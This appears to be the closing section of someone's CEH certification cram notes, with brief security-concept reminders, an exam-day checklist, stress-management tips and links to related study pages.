“WAF defends against”	L7 web attacks (XSS, SQLi, CSRF)
“IDS vs IPS”	IDS = detect only. IPS = block inline.
“AES vs DES”	AES = 128/192/256 bit, current. DES = 56-bit, broken.
“TCP vs UDP”	TCP = connection-oriented, reliable. UDP = connectionless, fast.
“Open port in Nmap output”	22/tcp open ssh OpenSSH 9.6p1 -> 22 = SSH

Last 24-Hour Checklist

• Passport valid >= 6 months past exam date
• Pearson VUE / ECC / RPS confirmation email saved
• Re-read this cram notes file once (skim, do not re-memorise)
• Re-read 99-cheatsheet.md once
• Re-read 01-exam-logistics.md Exam Day section
• Sleep 7+ hours
• Eat a real breakfast 2 hours before
• Bring water, snack for the car
• No new content in the last 24 hours; trust what you know
• Done 4-7-8 breathing in the car

If Your Brain Fails Mid-Exam

• 1.25-mile rule: if your mind is fried and you are reading the same sentence three times, stop. Click your best guess on the remaining questions, hit submit, and reschedule. A fail can be retaken in 14 days. A pushed-through blank-out rarely passes.
• 60-second reset: close eyes, 4-count inhale, 7-count hold, 8-count exhale, three cycles.
• Last-question rule: do not spend 10 minutes on Q124. Answer it in 30 seconds and move on. One question is statistically 0.8% of the score.

---

The One Sentence

The exam tests whether you recognise the right tool, command, port, CVE, technique, and legal posture for the scenario. Read the last sentence first, map to the layer, map to the 5-phase methodology, name the specific answer. Sleep last night. Go pass it.

---

You have the facts. You have the tables. You have the decoder. The rest is showing up, reading carefully, and trusting your preparation.

---

See also

Wikilinks to the rest of the knowledge base. Click any to jump.

• CEH landing page - track overview, domain weights, study flow
• CEH master strategy - 8-week study plan + decision matrix
• CEH cheatsheet - the one-page last-mile version
• CEH exam logistics - format, cost, retake, current version
• Threats and defense - Domains 1+2 deep dive
• Reconnaissance and scanning - Domain 3.A
• System, network, web attacks - Domain 3.B
• Apps, crypto, cloud - Domain 3.C
• Procedures and legal - Domain 4
• Tools, labs, practice plan
• Career value and cert comparison
• CC cheatsheet - same pattern, different exam
• CC cram notes - the CC counterpart

Linked from

• (ISC)² CC - Exam Cheatsheet
• (ISC)² CC (Certified in Cybersecurity) - Complete Research & Study Kit
• CEH (Certified Ethical Hacker) - Complete Research & Study Kit
• CEH Career Value, Salary & Alternative Cert Comparison
• CEH Cheatsheet - Last-Mile Review
• CEH Domain 3.A: Reconnaissance & Scanning
• CEH Domain 3.B: System & Network Attacks
• CEH Domain 3.C: Application, Web, Cloud, IoT & Crypto
• CEH Domain 4: Procedures, Reporting & Legal
• CEH Domains 1 & 2: Threats, Attack Vectors & Defense
• CEH Exam Logistics & Current Version
• CEH Master Strategy - 8-Week Study Plan + Decision Matrix
• CEH Tools, Labs & Practical Training